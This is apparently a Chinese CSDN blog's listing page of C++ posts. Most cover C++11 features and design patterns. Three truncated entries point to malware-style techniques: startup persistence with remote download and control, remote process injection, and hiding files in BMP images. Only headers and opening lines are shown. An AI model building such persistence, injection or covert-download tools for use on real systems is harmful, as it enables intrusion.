c++
小蚂蚁_CrkRes
Where there is a will, there is a way
展开
-
c++调用webservice接口的几种方法以及实例
c++调用webservice接口的几种方法以及实例前言最近在做这方面的工作,过程中遇到一些问题,故在此整理并分享一下,让后来者少走一些弯路.废话不多说,直接上干货.准备工具:sproxy.exe/wsdl.exe;gsoap.均存在我的网盘中(还有一些其他好东西),大家自行伸手.(提取码:oJyA)c++调用webservice的几种方法目前,常用的调用方法有三种(个人知识有限,欢迎提点),本文中主要介绍第一和第三种方法:使用sproxy.exe生成头文件,此种方法最简单,直接加载到转载 2020-12-28 15:20:15 · 3340 阅读 · 1 评论 -
C++11 atomic
#include "pch.h"#include <iostream>#include <mutex>#include <atomic>using namespace std;struct Counter{ int value; mutex m_mutex; void increment() { lock_guard<mut...原创 2018-12-28 15:04:02 · 663 阅读 · 0 评论 -
C++11 condition_variable
#include "pch.h"#include <iostream>#include <mutex>#include <thread>#include <condition_variable>#include <list>using namespace std;template<typename T>原创 2018-12-28 15:03:29 · 357 阅读 · 0 评论 -
C++11 mutex
#include "pch.h"#include <iostream>#include <thread>#include <mutex>#include <chrono>using namespace std;mutex g_lock;void func(){ //lock_guard<mutex> locker(...原创 2018-12-28 14:16:01 · 215 阅读 · 0 评论 -
C++11 thread
#include "pch.h"#include <string>#include <iostream>#include <thread>#include <vector>using namespace std;vector<thread> g_list;vector<shared_ptr<threa原创 2018-12-28 13:27:59 · 161 阅读 · 0 评论 -
C++11 weak_ptr
#include "pch.h"#include <iostream>using namespace std;weak_ptr<int> gw;void f(){ if (gw.expired()) { cout << "gw is expired\n"; } else { auto spt = gw.lock(); co...原创 2018-12-28 11:15:43 · 233 阅读 · 0 评论 -
C++11 unique_ptr
#include "pch.h"#include <iostream>using namespace std;void DeleteIntPtr(int* p){ delete p;}int main(){ /* shared_ptr 共享智能指针,使用引用计数,每一个shared_ptr的拷贝都指向相同的内存。 在最后一个shared_ptr析构的...原创 2018-12-28 10:41:59 · 177 阅读 · 0 评论 -
C++11 Shared_ptr
#include "pch.h"#include <iostream>using namespace std;void DeleteIntPtr(int* p){ delete p;}int main(){ /* shared_ptr 共享智能指针,使用引用计数,每一个shared_ptr的拷贝都指向相同的内存。 在最后一个shared_ptr析构的...原创 2018-12-28 10:21:15 · 347 阅读 · 0 评论 -
C++11 function可调用对象包装器
// function.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>#include <functional>using namespace std;void func(void){ cout << __FUNCTION__ <&...原创 2018-12-21 16:34:53 · 407 阅读 · 0 评论 -
C++11 for使用
// for.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>#include <vector>#include <algorithm>#include <map>#include <string>using na原创 2018-12-21 16:05:09 · 774 阅读 · 0 评论 -
C++ 11 decltype 类型推导
// decltype.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>using namespace std;class Foo {public: static const int Number = 0; int x;};int& func_int_...原创 2018-12-21 13:33:47 · 243 阅读 · 0 评论 -
C++11 Auto自动类型
// auto.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>#include <map>#include <unordered_map>using namespace std;class Foo{public : static i...原创 2018-12-21 13:18:48 · 542 阅读 · 0 评论 -
C++11 Boost Any类实现
#include "pch.h"#include <iostream>#include <memory>#include <typeindex>using namespace std;/* 类似于boost Any类的实现*/struct Any {public: Any(void) :m_tpIndex(type_index(typ...原创 2018-12-26 14:50:02 · 661 阅读 · 0 评论 -
C++11 lambda链式调用
#include "pch.h"#include <iostream>#include <functional>#include <type_traits>using namespace std;template<typename T>class Task;template<typename R,typename... A...原创 2018-12-26 14:11:55 · 962 阅读 · 0 评论 -
C++17 C++0x 最新特性资源合集
深入应用C++11:代码优化与工程级应用https://download.csdn.net/download/zang141588761/10646458Sustainable Software Development Patterns and Best Practices with C++ 17https://download.csdn.net/download/zang1415...原创 2018-09-05 10:36:28 · 1326 阅读 · 0 评论 -
开机启动,远程下载,远程控制
// AllInOneDemo.cpp: 定义控制台应用程序的入口点。//#include "stdafx.h"#include <WinSock2.h>#include <Windows.h>#include <urlmon.h>#pragma comment(lib,"urlmon.lib")#pragma comment(lib,"ws2...原创 2018-08-07 22:30:06 · 224 阅读 · 0 评论 -
C++11 async
#include "pch.h"#include <iostream>#include <future>using namespace std;int main(){ /* async 的基本用法 */ { future<int> f1 = async(launch::async, []() {return 8; }); cou...原创 2018-12-29 09:52:17 · 453 阅读 · 0 评论 -
C++11 future
#include "pch.h"#include <iostream>#include <utility>#include <future>#include <thread>#include <vector>using namespace std;int func(int x) { return x + 2; }in...原创 2018-12-28 16:38:35 · 568 阅读 · 0 评论 -
C++11 ThreadPool--半同步半异步线程池
SyncQueue.h:半同步半异步队列#pragma once#include <list>#include <mutex>#include <thread>#include <condition_variable>#include <iostream>using namespace std;template...原创 2019-01-04 10:51:17 · 331 阅读 · 0 评论 -
C++流行库和框架集合
C++ 框架、库和资源的一些汇总列表,内容包括:标准库、Web应用框架、人工智能、数据库、图片处理、机器学习、日志、代码分析等。 1. 标准库 C++标准库,包括了STL容器,算法和函数等。 C++ Standard Library:是一系列类和函数的集合,使用核心语言编写,也是C++ISO自身标准的一部分。 Standard Template Librar...原创 2019-02-12 17:28:16 · 2823 阅读 · 0 评论 -
C++11 ObjectPool--改进对象池
// ObjectPool.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>#include <string>#include <functional>#include <memory>#include <map>原创 2019-01-03 11:00:09 · 1809 阅读 · 1 评论 -
C++11 Command--改进命令模式
// Command.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>#include <functional>#include <type_traits>using namespace std;template<typename R=vo...原创 2019-01-03 10:24:22 · 549 阅读 · 4 评论 -
C++11 Visitor--改进访问者模式
// Visitor.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>using namespace std;template<typename... Types>struct Visitor;template<typename T,typename...原创 2019-01-03 09:46:12 · 579 阅读 · 0 评论 -
C++11 MessageBus--消息队列实现
Any.h:#pragma once#include <memory>#include <typeindex>/* 类似于boost Any类的实现*/using namespace std;struct Any {public: Any(void) :m_tpIndex(type_index(typeid(void))) {} Any(Any&a...原创 2019-01-07 11:43:48 · 2711 阅读 · 0 评论 -
C++11 Observer--改进观察者模式
// Observer.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>#include <string>#include <functional>#include <map>using namespace std;class No...原创 2019-01-02 15:31:55 · 345 阅读 · 0 评论 -
C++11 Singleton--改进单例模式
// Singleton.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>#include <string>using namespace std;template <typename T>class Singleton {public: ...原创 2019-01-02 14:42:02 · 1427 阅读 · 0 评论 -
C++11 string与wstring互换
// string_cvt.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>#include <string>#include <codecvt>using namespace std;int main(){ wstring str = L"...原创 2019-01-02 10:27:36 · 1901 阅读 · 0 评论 -
C++11 Timer
// timer.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>#include <chrono>using namespace std;using namespace std::chrono;class Timer{public: Timer()...原创 2019-01-02 10:26:49 · 2914 阅读 · 0 评论 -
C++11 DllParser
#include "pch.h"#include <iostream>#include <Windows.h>#include <string>#include <map>#include <functional>using namespace std;class DllParser{public: DllPar...原创 2018-12-26 13:09:53 · 340 阅读 · 0 评论 -
C++11 unordered container
#include "pch.h"#include <iostream>#include <unordered_map>#include <vector>#include <string>#include <utility>#include <bitset>using namespace std;int原创 2018-12-26 11:35:38 · 178 阅读 · 0 评论 -
C++11 lambda
// lambda.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>#include <vector>#include <string>#include <algorithm>using namespace std;class...原创 2018-12-25 15:22:40 · 207 阅读 · 0 评论 -
C++11 Ioc--Inversion of Control控制反转
Any.h:Any类型#pragma once#include <memory>#include <typeindex>/* 类似于boost Any类的实现*/struct Any {public: Any(void) :m_tpIndex(type_index(typeid(void))) {} Any(Any& that) :m_ptr...原创 2019-01-04 15:43:06 · 772 阅读 · 0 评论 -
C++11 AOP--轻量级Aspect-Orient Programming
NonCopyable.h:不可复制机类#pragma onceclass NonCopyable{protected: NonCopyable() = default; ~NonCopyable() = default; // 禁用复制构造 NonCopyable(const NonCopyable&) = delete; // 禁用赋值构造 NonCopyab...原创 2019-01-04 13:59:17 · 627 阅读 · 0 评论 -
Hook及远程注入
// InjectDemo.cpp: 定义控制台应用程序的入口点。//#include "stdafx.h"#include<Windows.h>int main(int argc,char* argv[]){ BOOL bRet = FALSE; HANDLE hProcess = INVALID_HANDLE_VALUE; BYTE* ...原创 2018-08-12 11:38:57 · 1198 阅读 · 0 评论 -
将文件隐藏到BMP中
// HideInBMP.cpp: 定义控制台应用程序的入口点。//#include "stdafx.h"#include <Windows.h>char* ReadFileContent(char* filename, DWORD* filesize){ HANDLE hfile = CreateFileA(filename, GENERIC_READ | GE...原创 2018-08-02 23:10:51 · 393 阅读 · 0 评论 -
C++ explicit的作用
explicit作用:在C++中,explicit关键字用来修饰类的构造函数,被修饰的构造函数的类,不能发生相应的隐式类型转换,只能以显示的方式进行类型转换。explicit使用注意事项: * explicit 关键字只能用于类内部的构造函数声明上。 * explicit 关键字作用于单个参数的构造函数。 * 在C++中,expli转载 2016-11-01 11:08:10 · 281 阅读 · 0 评论 -
怎么样把CDC上的一个图保存为bmp格式的图
001 HBITMAP GetSrcBit(HDC hDC,DWORD BitWidth, DWORD BitHeight)002 {003 HDC hBufDC;004 HBITMAP hBitmap, hBitTemp;005 //创建设备上下文(HDC)006 hBufDC = CreateCompatibleDC(hDC);转载 2016-08-15 14:15:06 · 2327 阅读 · 0 评论 -
C++编程学习50个经典网站
C/C++是最主要的编程语言。这里列出了50名优秀网站和网页清单,这些网站提供c/c++源代码1、http://snippets.dzone.com/tag/c/ --数以千计的有用的C语言源代码片段 2、http://www.hotscripts.com/category/c-cpp/scripts-programs/ Hotscripts --提供数以百计的C和C+原创 2016-08-18 21:52:07 · 2208 阅读 · 0 评论 -
vs2015 滚动条实现,浏览Bitmap图片
尽管本章的初衷是用滚动条来显示一张bmp图片,但是他涉及到3大主题1. 运行时在对话框加载一张bitmap图片2. 通过滚动条技术显示一张原始大小的bitmap图片3. 通过双缓存技术实现绘图不闪烁 运行时在对话框加载一张bitmap图片使用类生成向导,为IDC_STATIC1创建一个名为m_st1 的CStatic控件变量在对话框的翻译 2016-08-16 13:20:49 · 2792 阅读 · 0 评论 -
通过异步程序调用(APC)实现的定时功能
定时器是一个在特定时间或者规则间隔被激发的内核对象。结合定时器的异步程序调用可以允许回调函数在任何定时器被激发的时候执行。本文的例子代码显示了如何实现。 使用本定时器时,你需要把常量_WIN32_WINNT定义为0x0400,并且此常量应该在包之前定义,以确保声明合适的定时器原型函数。 通过调用CreateWaitableTimer()可以创建一个定时器,此函数返回一个指向内核对象的转载 2016-05-31 09:51:19 · 1133 阅读 · 0 评论